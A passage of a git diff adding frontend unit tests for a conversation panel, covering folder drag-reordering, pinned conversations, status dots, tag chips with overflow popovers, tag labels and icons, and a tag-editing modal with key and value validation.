+      effectAllowed: "move",
+      dropEffect: "move",
+      data: {} as Record<string, string>,
+      setData(format: string, value: string) {
+        this.data[format] = value;
+      },
+      getData(format: string) {
+        return this.data[format];
+      },
+    };
+    fireEvent.dragStart(dragHandle, { dataTransfer });
+    fireEvent.dragOver(betaFolder, { dataTransfer });
+    fireEvent.drop(betaFolder, { dataTransfer });
+
+    const reorderedAlpha = screen.getByTestId(
+      "thread-folder-ws--workspace-alpha",
+    );
+    const reorderedBeta = screen.getByTestId(
+      "thread-folder-ws--workspace-beta",
+    );
+    expect(reorderedBeta.compareDocumentPosition(reorderedAlpha)).toBe(
+      Node.DOCUMENT_POSITION_FOLLOWING,
+    );
+    expect(
+      useConversationPanelPreferencesStore.getState().groupFolderOrder,
+    ).toEqual(["ws:/workspace/beta", "ws:/workspace/alpha"]);
+  });
+
+  it("shows a pinned section above the conversations list when pins exist", async () => {
+    usePinnedConversationsStore
+      .getState()
+      .pinConversation("default-local", "2");
+
+    renderConversationPanel();
+
+    const pinnedSection = await screen.findByTestId(
+      "conversation-panel-pinned-section",
+    );
+    expect(
+      within(pinnedSection).getByText("CONVERSATION_PANEL$PINNED"),
+    ).toBeInTheDocument();
+    expect(
+      within(pinnedSection).getAllByTestId("conversation-card"),
+    ).toHaveLength(1);
+    expect(
+      within(pinnedSection).getByTestId("conversation-pin-toggle-2"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders pinned conversations only in the pinned section in chronological mode", async () => {
+    usePinnedConversationsStore
+      .getState()
+      .pinConversation("default-local", "2");
+
+    renderConversationPanel();
+
+    const pinnedSection = await screen.findByTestId(
+      "conversation-panel-pinned-section",
+    );
+    expect(
+      within(pinnedSection).getAllByTestId("conversation-card"),
+    ).toHaveLength(1);
+    expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3);
+    expect(screen.getAllByText("Conversation 2")).toHaveLength(1);
+  });
+
+  it("renders pinned conversations only in the pinned section in grouped mode", async () => {
+    useConversationPanelPreferencesStore.setState({ organizeMode: "grouped" });
+    usePinnedConversationsStore
+      .getState()
+      .pinConversation("default-local", "2");
+
+    renderConversationPanel();
+
+    const pinnedSection = await screen.findByTestId(
+      "conversation-panel-pinned-section",
+    );
+    expect(
+      within(pinnedSection).getAllByTestId("conversation-card"),
+    ).toHaveLength(1);
+    expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3);
+    expect(screen.getAllByText("Conversation 2")).toHaveLength(1);
+  });
+
+  it("hides the pinned section after the last pin is removed", async () => {
+    usePinnedConversationsStore
+      .getState()
+      .pinConversation("default-local", "2");
+
+    const user = userEvent.setup();
+    renderConversationPanel();
+
+    const pinnedSection = await screen.findByTestId(
+      "conversation-panel-pinned-section",
+    );
+    const pinnedCard = within(pinnedSection).getByTestId("conversation-card");
+    await user.hover(pinnedCard);
+    await user.click(
+      within(pinnedSection).getByTestId("conversation-pin-toggle-2"),
+    );
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("conversation-panel-pinned-section"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("shows only five pinned conversations before a More control", async () => {
+    const manyConversations = Array.from({ length: 6 }, (_, index) =>
+      createMockConversation({
+        id: String(index + 1),
+        title: `Conversation ${index + 1}`,
+      }),
+    );
+    vi.spyOn(
+      AgentServerConversationService,
+      "searchConversations",
+    ).mockResolvedValue({
+      items: manyConversations,
+      next_page_id: null,
+    });
+    for (const conversation of manyConversations) {
+      usePinnedConversationsStore
+        .getState()
+        .pinConversation("default-local", conversation.id);
+    }
+
+    renderConversationPanel();
+
+    const pinnedSection = await screen.findByTestId(
+      "conversation-panel-pinned-section",
+    );
+    expect(
+      within(pinnedSection).getAllByTestId("conversation-card"),
+    ).toHaveLength(5);
+    expect(
+      within(pinnedSection).getByTestId("conversation-panel-pinned-view-more"),
+    ).toHaveTextContent("CONVERSATION_PANEL$MORE");
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx b/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dd0abc5b15bd000fc442425b8eb7e7e46f5d175b
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx
@@ -0,0 +1,72 @@
+import type { ReactNode } from "react";
+import { screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { ConversationStatusDot } from "#/components/features/conversation-panel/conversation-status-dot";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+
+vi.mock("#/components/shared/buttons/styled-tooltip", () => ({
+  StyledTooltip: ({
+    children,
+    content,
+  }: {
+    children: ReactNode;
+    content: string;
+  }) => (
+    <div data-testid="styled-tooltip" data-content={content}>
+      {children}
+    </div>
+  ),
+}));
+
+describe("ConversationStatusDot", () => {
+  it.each([
+    [ExecutionStatus.FINISHED, "conversation-status-check", "COMMON$FINISHED"],
+    [ExecutionStatus.RUNNING, "conversation-status-working", "COMMON$WORKING"],
+    [ExecutionStatus.PAUSED, "conversation-status-paused", "COMMON$PAUSED"],
+    [ExecutionStatus.IDLE, "conversation-status-active", "COMMON$WORKING"],
+    [
+      ExecutionStatus.WAITING_FOR_CONFIRMATION,
+      "conversation-status-active",
+      "COMMON$WORKING",
+    ],
+    [ExecutionStatus.ERROR, "conversation-status-error", "COMMON$ERROR"],
+    [ExecutionStatus.STUCK, "conversation-status-error", "COMMON$ERROR"],
+  ])("renders %s as %s", (status, testId, tooltipLabel) => {
+    renderWithProviders(<ConversationStatusDot executionStatus={status} />);
+
+    expect(screen.getByTestId(testId)).toBeInTheDocument();
+    expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+      "data-content",
+      tooltipLabel,
+    );
+  });
+
+  it("renders the unknown state for missing execution status", () => {
+    renderWithProviders(<ConversationStatusDot executionStatus={undefined} />);
+
+    expect(screen.getByTestId("conversation-status-unknown")).toBeInTheDocument();
+    expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+      "data-content",
+      "COMMON$STOPPED",
+    );
+  });
+
+  it("renders archive icon when sandbox is MISSING (archived)", () => {
+    renderWithProviders(
+      <ConversationStatusDot
+        executionStatus={ExecutionStatus.PAUSED}
+        sandboxStatus="MISSING"
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-status-archived"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("styled-tooltip")).toHaveAttribute(
+      "data-content",
+      "COMMON$ARCHIVED",
+    );
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx b/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..103c99c07bc2bee86ea90e8b24ca1960b5bb7f60
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-chips.test.tsx
@@ -0,0 +1,269 @@
+import React from "react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { act, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { ConversationTagChips } from "#/components/features/conversation-panel/conversation-card/conversation-tag-chips";
+
+describe("ConversationTagChips", () => {
+  const observedCallbacks: ResizeObserverCallback[] = [];
+
+  beforeEach(() => {
+    observedCallbacks.length = 0;
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        constructor(cb: ResizeObserverCallback) {
+          observedCallbacks.push(cb);
+        }
+
+        observe() {
+          const cb = observedCallbacks[observedCallbacks.length - 1];
+          cb?.([], this as unknown as ResizeObserver);
+        }
+
+        disconnect() {}
+
+        unobserve() {}
+      },
+    );
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  function stubWidths(containerWidth: number, chipWidth: number) {
+    const row = screen.getByTestId("conversation-card-tag-row");
+    Object.defineProperty(row, "clientWidth", {
+      configurable: true,
+      get: () => containerWidth,
+    });
+
+    const measure = row
+      .closest('[data-testid="conversation-card-tag-chips"]')
+      ?.querySelector('[aria-hidden="true"]') as HTMLElement;
+    Array.from(measure.children).forEach((child) => {
+      Object.defineProperty(child, "offsetWidth", {
+        configurable: true,
+        get: () => chipWidth,
+      });
+    });
+
+    act(() => {
+      for (const cb of observedCallbacks) {
+        cb([], {} as ResizeObserver);
+      }
+    });
+  }
+
+  it("folds chips that do not fit into a +N popover with friendly labels", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["env", "prod"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    // Wide enough for one 40px chip + overflow reserve, not two.
+    stubWidths(80, 40);
+
+    await waitFor(() => {
+      expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+        1,
+      );
+    });
+    const visibleChip = screen.getByTestId("conversation-card-tag-chip");
+    expect(visibleChip).toHaveTextContent("slack");
+    // Tooltip uses the humanized label — "Origin", not the wire key and not
+    // "Git" (origin names the source of the conversation, not a git fact).
+    expect(visibleChip).toHaveAttribute("title", "Origin: slack");
+
+    const overflow = screen.getByTestId("conversation-card-tag-overflow");
+    expect(overflow).toHaveTextContent("+2");
+
+    await user.click(overflow);
+
+    const popover = screen.getByTestId(
+      "conversation-card-tag-overflow-popover",
+    );
+    expect(popover.parentElement).toBe(document.body);
+    const rows = within(popover).getAllByTestId(
+      "conversation-card-tag-overflow-row",
+    );
+    expect(rows).toHaveLength(2);
+    expect(rows[0]).toHaveTextContent("prod");
+    expect(rows[0]).toHaveTextContent("Env");
+    expect(rows[1]).toHaveTextContent("Owner");
+    expect(rows[1]).toHaveTextContent("alice");
+  });
+
+  it("opens the overflow popover without activating a wrapping link", async () => {
+    const user = userEvent.setup();
+    const onNavigate = vi.fn((event: React.MouseEvent) => {
+      event.preventDefault();
+    });
+
+    renderWithProviders(
+      // Conversation cards sit inside NavigationLink anchors; the +N control
+      // must swallow the activation so the popover can open in place.
+
+      <a href="/conversations/demo" onClick={onNavigate}>
+        <ConversationTagChips
+          tags={[
+            ["origin", "slack"],
+            ["env", "prod"],
+            ["owner", "alice"],
+          ]}
+        />
+      </a>,
+    );
+
+    stubWidths(80, 40);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("conversation-card-tag-overflow"),
+      ).toBeInTheDocument();
+    });
+
+    await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+
+    expect(
+      screen.getByTestId("conversation-card-tag-overflow-popover"),
+    ).toBeInTheDocument();
+    expect(onNavigate).not.toHaveBeenCalled();
+  });
+
+  it("hides the overflow control when every chip fits", async () => {
+    renderWithProviders(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    stubWidths(200, 40);
+
+    await waitFor(() => {
+      expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+        2,
+      );
+    });
+    expect(
+      screen.queryByTestId("conversation-card-tag-overflow"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("emits chip icon test ids only for visible chips, not the measure row", async () => {
+    // The off-screen measure row renders the same chips; tagging those too
+    // would make `getByTestId` (singular) ambiguous for every tagged card.
+    renderWithProviders(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    stubWidths(200, 40);
+
+    await waitFor(() => {
+      expect(screen.getAllByTestId("conversation-card-tag-chip")).toHaveLength(
+        2,
+      );
+    });
+    expect(
+      screen.getAllByTestId("conversation-card-tag-chip-icon"),
+    ).toHaveLength(2);
+  });
+
+  it("keeps the overflow popover open across re-renders with unchanged tags", async () => {
+    // Callers rebuild the tag array on every render, and the conversation
+    // panel re-renders at least every 10s (`refetchInterval`). Resetting on
+    // array identity would slam the popover shut under the user's cursor.
+    const user = userEvent.setup();
+    const { rerender } = renderWithProviders(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["env", "prod"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    stubWidths(80, 40);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("conversation-card-tag-overflow"),
+      ).toBeInTheDocument();
+    });
+    await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+    expect(
+      screen.getByTestId("conversation-card-tag-overflow-popover"),
+    ).toBeInTheDocument();
+
+    // Same content, fresh array identity — exactly what the parent produces.
+    rerender(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["env", "prod"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-card-tag-overflow-popover"),
+    ).toBeInTheDocument();
+  });
+
+  it("closes the overflow popover when the tags themselves change", async () => {
+    const user = userEvent.setup();
+    const { rerender } = renderWithProviders(
+      <ConversationTagChips
+        tags={[
+          ["origin", "slack"],
+          ["env", "prod"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    stubWidths(80, 40);
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("conversation-card-tag-overflow"),
+      ).toBeInTheDocument();
+    });
+    await user.click(screen.getByTestId("conversation-card-tag-overflow"));
+    expect(
+      screen.getByTestId("conversation-card-tag-overflow-popover"),
+    ).toBeInTheDocument();
+
+    rerender(
+      <ConversationTagChips
+        tags={[
+          ["origin", "api"],
+          ["env", "prod"],
+          ["owner", "alice"],
+        ]}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("conversation-card-tag-overflow-popover"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts b/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4439618e4503fe22dade3332bd638075736e7ebc
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-display.test.ts
@@ -0,0 +1,224 @@
+import { describe, expect, it } from "vitest";
+import {
+  computeVisibleTagChipCount,
+  formatConversationTagTooltip,
+  getConversationTagLabel,
+  getConversationTagLabelKind,
+  humanizeConversationTagKey,
+  TAG_CHIP_GAP_PX,
+  TAG_CHIP_OVERFLOW_WIDTH_PX,
+  TAG_CHIP_VALUE_MAX_LENGTH,
+  truncateTagChipValue,
+} from "#/components/features/conversation-panel/conversation-card/conversation-tag-display";
+import { getDisplayConversationTags } from "#/api/agent-server-adapter";
+import { I18nKey } from "#/i18n/declaration";
+
+describe("truncateTagChipValue", () => {
+  it("leaves short values unchanged", () => {
+    expect(truncateTagChipValue("slack")).toBe("slack");
+    expect(truncateTagChipValue("a".repeat(TAG_CHIP_VALUE_MAX_LENGTH))).toBe(
+      "a".repeat(TAG_CHIP_VALUE_MAX_LENGTH),
+    );
+  });
+
+  it("hard-truncates long values with an ellipsis within the budget", () => {
+    const value = "a".repeat(TAG_CHIP_VALUE_MAX_LENGTH + 8);
+    const truncated = truncateTagChipValue(value);
+    expect(truncated).toHaveLength(TAG_CHIP_VALUE_MAX_LENGTH);
+    expect(truncated.endsWith("…")).toBe(true);
+    expect(
+      truncated.startsWith("a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)),
+    ).toBe(true);
+  });
+
+  it("never splits a surrogate pair at the cut point", () => {
+    // Slack-/Discord-stamped values carry emoji; slicing by UTF-16 code unit
+    // would leave a lone surrogate that renders as a replacement glyph.
+    const value = `${"a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}🎉extra`;
+    const truncated = truncateTagChipValue(value);
+
+    expect(truncated).toBe(`${"a".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}…`);
+    for (const codePoint of truncated) {
+      expect(codePoint.codePointAt(0)).toBeLessThan(0xd800);
+    }
+  });
+
+  it("counts astral characters as one character each", () => {
+    // 13 emoji + one more: 14 code points fits the budget untouched.
+    const value = "🎉".repeat(TAG_CHIP_VALUE_MAX_LENGTH);
+    expect(truncateTagChipValue(value)).toBe(value);
+    expect(truncateTagChipValue(`${value}🎉`)).toBe(
+      `${"🎉".repeat(TAG_CHIP_VALUE_MAX_LENGTH - 1)}…`,
+    );
+  });
+});
+
+describe("computeVisibleTagChipCount", () => {
+  it("shows every chip when the container has not been measured yet", () => {
+    expect(computeVisibleTagChipCount([40, 40, 40], 0)).toBe(3);
+  });
+
+  it("fits as many chips as the single row allows, reserving overflow space", () => {
+    // Two 40px chips + gap + overflow reserve must fit; a third does not.
+    const widths = [40, 40, 40];
+    const forTwo =
+      40 + TAG_CHIP_GAP_PX + 40 + TAG_CHIP_GAP_PX + TAG_CHIP_OVERFLOW_WIDTH_PX;
+    expect(computeVisibleTagChipCount(widths, forTwo)).toBe(2);
+  });
+
+  it("drops the overflow reserve when every chip fits", () => {
+    const widths = [40, 40];
+    const exact = 40 + TAG_CHIP_GAP_PX + 40;
+    expect(computeVisibleTagChipCount(widths, exact)).toBe(2);
+  });
+
+  it("returns 0 when even one chip plus overflow cannot fit", () => {
+    expect(
+      computeVisibleTagChipCount(
+        [40, 40],
+        TAG_CHIP_OVERFLOW_WIDTH_PX + TAG_CHIP_GAP_PX,
+      ),
+    ).toBe(0);
+  });
+});
+
+describe("getDisplayConversationTags", () => {
+  it("excludes reserved keys and puts priority keys first", () => {
+    expect(
+      getDisplayConversationTags({
+        owner: "alice",
+        acpserver: "claude-code",
+        title: "can you research an office app?",
+        origin: "slack",
+        env: "prod",
+        archiveworkspacepath: "/workspace/project",
+        git_provider: "github",
+        repo_name: "org/repo",
+        selected_branch: "main",
+        branch: "feature",
+        repo: "other/repo",
+        workspace: "/tmp/ws",
+        working_dir: "/tmp/wd",
+        automationtrigger: "cron",
+        automationid: "3f2b6c1e-1111-4222-8333-abcdefabcdef",
+        automationname: "Nightly Audit",
+        automationrunid: "run-0001",
+      }),
+    ).toEqual([
+      ["origin", "slack"],
+      ["env", "prod"],
+      ["owner", "alice"],
+    ]);
+  });
+
+  it("ranks priority keys by their normalized name", () => {
+    // The reserved-key filter normalizes the key, so the priority lookup must
+    // too — otherwise a cloud-stamped `Origin` sorts alphabetically instead of
+    // leading the row.
+    expect(
+      getDisplayConversationTags({
+        env: "prod",
+        Origin: "slack",
+      }),
+    ).toEqual([
+      ["Origin", "slack"],
+      ["env", "prod"],
+    ]);
+  });
+
+  it("returns an empty list for nullish tags", () => {
+    expect(getDisplayConversationTags(null)).toEqual([]);
+    expect(getDisplayConversationTags(undefined)).toEqual([]);
+  });
+
+  it("keeps bare tags (empty value) but drops whitespace-only values", () => {
+    expect(
+      getDisplayConversationTags({
+        appmode: "work",
+        worktools: "",
+        workwsid: "   ",
+        owner: "alice",
+      }),
+    ).toEqual([
+      ["appmode", "work"],
+      ["owner", "alice"],
+      ["worktools", ""],
+    ]);
+  });
+});
+
+describe("getConversationTagLabelKind", () => {
+  it.each([
+    ["git_provider", "git"],
+    // `origin` / `source` name where a conversation came from (Slack, an API
+    // call, an automation), which is not a git fact — they stay "other" and
+    // humanize to "Origin" / "Source".
+    ["origin", "other"],
+    ["source", "other"],
+    ["repo_name", "repo"],
+    ["selected_branch", "branch"],
+    ["archiveworkspacepath", "workspace"],
+    ["Appmode", "app_mode"],
+    ["worktools", "work_tools"],
+    ["Workwsid", "work_wsid"],
+    ["owner", "other"],
+  ] as const)("maps %s → %s", (key, kind) => {
+    expect(getConversationTagLabelKind(key)).toBe(kind);
+  });
+});
+
+describe("getConversationTagLabel", () => {
+  const t = (key: I18nKey) => {
+    switch (key) {
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_GIT:
+        return "Git";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_REPO:
+        return "Repo";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_BRANCH:
+        return "Branch";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_WORKSPACE:
+        return "Workspace";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_APP_MODE:
+        return "App mode";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_WORK_TOOLS:
+        return "Work tools";
+      case I18nKey.CONVERSATION_PANEL$PREVIEW_WORK_WSID:
+        return "Workspace ID";
+      default:
+        return String(key);
+    }
+  };
+
+  it("uses localized labels for known keys instead of wire names", () => {
+    expect(getConversationTagLabel("selected_branch", t)).toBe("Branch");
+    expect(getConversationTagLabel("repo_name", t)).toBe("Repo");
+    expect(getConversationTagLabel("archiveworkspacepath", t)).toBe(
+      "Workspace",
+    );
+    expect(getConversationTagLabel("Appmode", t)).toBe("App mode");
+    expect(getConversationTagLabel("worktools", t)).toBe("Work tools");
+    expect(getConversationTagLabel("Workwsid", t)).toBe("Workspace ID");
+    expect(formatConversationTagTooltip("selected_branch", "main", t)).toBe(
+      "Branch: main",
+    );
+  });
+
+  it("humanizes unknown snake_case keys", () => {
+    expect(humanizeConversationTagKey("my_custom_tag")).toBe("My custom tag");
+    expect(getConversationTagLabel("owner", t)).toBe("Owner");
+  });
+
+  it("shows the label alone for bare tags (empty value)", () => {
+    expect(formatConversationTagTooltip("work", "", t)).toBe("Work");
+  });
+
+  it("labels origin and source by their own names, not Git", () => {
+    expect(getConversationTagLabel("origin", t)).toBe("Origin");
+    expect(getConversationTagLabel("source", t)).toBe("Source");
+    expect(formatConversationTagTooltip("origin", "slack", t)).toBe(
+      "Origin: slack",
+    );
+    // The git host stamp keeps the Git label.
+    expect(getConversationTagLabel("git_provider", t)).toBe("Git");
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts b/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d788725a076dca9f3cfa516b44460484f51084c1
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-tag-icons.test.ts
@@ -0,0 +1,53 @@
+import { describe, expect, it } from "vitest";
+import {
+  Briefcase,
+  CircleUserRound,
+  CloudCog,
+  Folder,
+  FolderGit2,
+  FolderKey,
+  GitBranch,
+  House,
+  Layers,
+  Tag,
+  Waypoints,
+  Wrench,
+} from "lucide-react";
+import { FaGithub } from "react-icons/fa6";
+import SlackIcon from "#/icons/slack.svg?react";
+import { getConversationTagIcon } from "#/components/features/conversation-panel/conversation-card/conversation-tag-icons";
+
+describe("getConversationTagIcon", () => {
+  it("maps known keys to related icons", () => {
+    expect(getConversationTagIcon("owner", "alice")).toBe(CircleUserRound);
+    expect(getConversationTagIcon("env", "prod")).toBe(CloudCog);
+    expect(getConversationTagIcon("repo_name", "org/repo")).toBe(FolderGit2);
+    expect(getConversationTagIcon("selected_branch", "main")).toBe(GitBranch);
+    expect(
+      getConversationTagIcon("archiveworkspacepath", "/workspace/project"),
+    ).toBe(Folder);
+    expect(getConversationTagIcon("worktools", "browser")).toBe(Wrench);
+    expect(
+      getConversationTagIcon("Workwsid", "cad8995a71e54b12b156d1d153be062f"),
+    ).toBe(FolderKey);
+  });
+
+  it("uses mode-specific icons for Appmode values", () => {
+    expect(getConversationTagIcon("Appmode", "work")).toBe(Briefcase);
+    expect(getConversationTagIcon("app_mode", "personal")).toBe(House);
+    expect(getConversationTagIcon("mode", "custom")).toBe(Layers);
+  });
+
+  it("prefers source brand icons for origin and git_provider values", () => {
+    expect(getConversationTagIcon("origin", "slack")).toBe(SlackIcon);
+    expect(getConversationTagIcon("git_provider", "GitHub")).toBe(FaGithub);
+  });
+
+  it("falls back to the key icon for unknown sources", () => {
+    expect(getConversationTagIcon("origin", "custom-bot")).toBe(Waypoints);
+  });
+
+  it("falls back to Tag for unrecognized keys", () => {
+    expect(getConversationTagIcon("mystery", "value")).toBe(Tag);
+  });
+});
diff --git a/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx b/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2264ab5cddcfbc499c9efdd46b07d46d37c8ef79
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/edit-conversation-tags-modal.test.tsx
@@ -0,0 +1,315 @@
+import { describe, it, expect, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { renderWithProviders } from "test-utils";
+import { EditConversationTagsModal } from "#/components/features/conversation-panel/edit-conversation-tags-modal";
+
+describe("EditConversationTagsModal", () => {
+  it("renders the current user-facing tags as rows and hides reserved keys", () => {
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{
+          origin: "slack",
+          owner: "alice",
+          acpserver: "claude-code",
+          automationname: "Nightly Audit",
+        }}
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByTestId("edit-tag-row-origin")).toBeInTheDocument();
+    expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+    // Reserved/internal keys are untouchable — no row for them. Automation
+    // provenance stays out too, so a user can't edit (or spoof) it.
+    expect(
+      screen.queryByTestId("edit-tag-row-acpserver"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("edit-tag-row-automationname"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("adds a new tag and confirms with the merged map preserving reserved tags", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{ origin: "slack", acpserver: "claude-code" }}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+    await user.type(screen.getByTestId("new-tag-value-input"), "alice");
+    await user.click(screen.getByTestId("add-tag-button"));
+
+    expect(screen.getByTestId("edit-tag-row-owner")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(onConfirm).toHaveBeenCalledWith({
+      // The internal tag survives the replace-all PATCH untouched.
+      acpserver: "claude-code",
+      origin: "slack",
+      owner: "alice",
+    });
+  });
+
+  it("removes a tag row and omits it from the confirmed map", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{ origin: "slack", owner: "alice" }}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.click(screen.getByTestId("remove-tag-owner"));
+
+    expect(screen.queryByTestId("edit-tag-row-owner")).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("confirm-button"));
+
+    expect(onConfirm).toHaveBeenCalledWith({ origin: "slack" });
+  });
+
+  it("blocks keys that violate the backend rule (lowercase alphanumeric only)", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-key-input"), "Bad Key!");
+    await user.type(screen.getByTestId("new-tag-value-input"), "x");
+    await user.click(screen.getByTestId("add-tag-button"));
+
+    expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+      "CONVERSATION$TAG_KEY_INVALID",
+    );
+    expect(screen.queryByTestId("edit-tags-rows")).not.toBeInTheDocument();
+
+    // Save does not paper over the rejected input by discarding it — the
+    // error stands and the modal stays open until the key is fixed or cleared.
+    await user.click(screen.getByTestId("confirm-button"));
+    expect(onConfirm).not.toHaveBeenCalled();
+    expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+      "CONVERSATION$TAG_KEY_INVALID",
+    );
+
+    await user.clear(screen.getByTestId("new-tag-key-input"));
+    await user.clear(screen.getByTestId("new-tag-value-input"));
+    await user.click(screen.getByTestId("confirm-button"));
+    expect(onConfirm).toHaveBeenCalledWith({});
+  });
+
+  it("blocks reserved keys and over-long values", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={vi.fn()}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    // Reserved key: allowed by the regex but untouchable by the user.
+    await user.type(screen.getByTestId("new-tag-key-input"), "acpserver");
+    await user.type(screen.getByTestId("new-tag-value-input"), "x");
+    await user.click(screen.getByTestId("add-tag-button"));
+    expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+      "CONVERSATION$TAG_KEY_RESERVED",
+    );
+
+    // Automation provenance keys are reserved too: a user-added
+    // ``automationname`` would flip ``isAutomationConversation``.
+    await user.clear(screen.getByTestId("new-tag-key-input"));
+    await user.clear(screen.getByTestId("new-tag-value-input"));
+    await user.type(screen.getByTestId("new-tag-key-input"), "automationname");
+    await user.type(screen.getByTestId("new-tag-value-input"), "x");
+    await user.click(screen.getByTestId("add-tag-button"));
+    expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+      "CONVERSATION$TAG_KEY_RESERVED",
+    );
+
+    // Value over the 256-char backend cap.
+    await user.clear(screen.getByTestId("new-tag-key-input"));
+    await user.type(screen.getByTestId("new-tag-key-input"), "owner");
+    await user.type(screen.getByTestId("new-tag-value-input"), "v".repeat(257));
+    await user.click(screen.getByTestId("add-tag-button"));
+    expect(screen.getByTestId("edit-tags-error")).toHaveTextContent(
+      "CONVERSATION$TAG_VALUE_INVALID",
+    );
+
+    expect(screen.queryByTestId("edit-tags-rows")).not.toBeInTheDocument();
+  });
+
+  it("treats an empty value as a bare tag and renders just the key", async () => {
+    const user = userEvent.setup();
+    const onConfirm = vi.fn();
+    renderWithProviders(
+      <EditConversationTagsModal
+        tags={{}}
+        onConfirm={onConfirm}
+        onCancel={vi.fn()}
+      />,
+    );
+
+    await user.type(screen.getByTestId("new-tag-key-input"), "work");
+    await user.click(screen.getByTestId("add-tag-button"));
+
+    const row = screen.getByTestId("edit-tag-row-work");
+    expect(row).toHaveTextContent("work");
+    expect(row).not.toHaveTextContent("=");
+
+    await user.click(screen.getByTestId("confirm-button"));
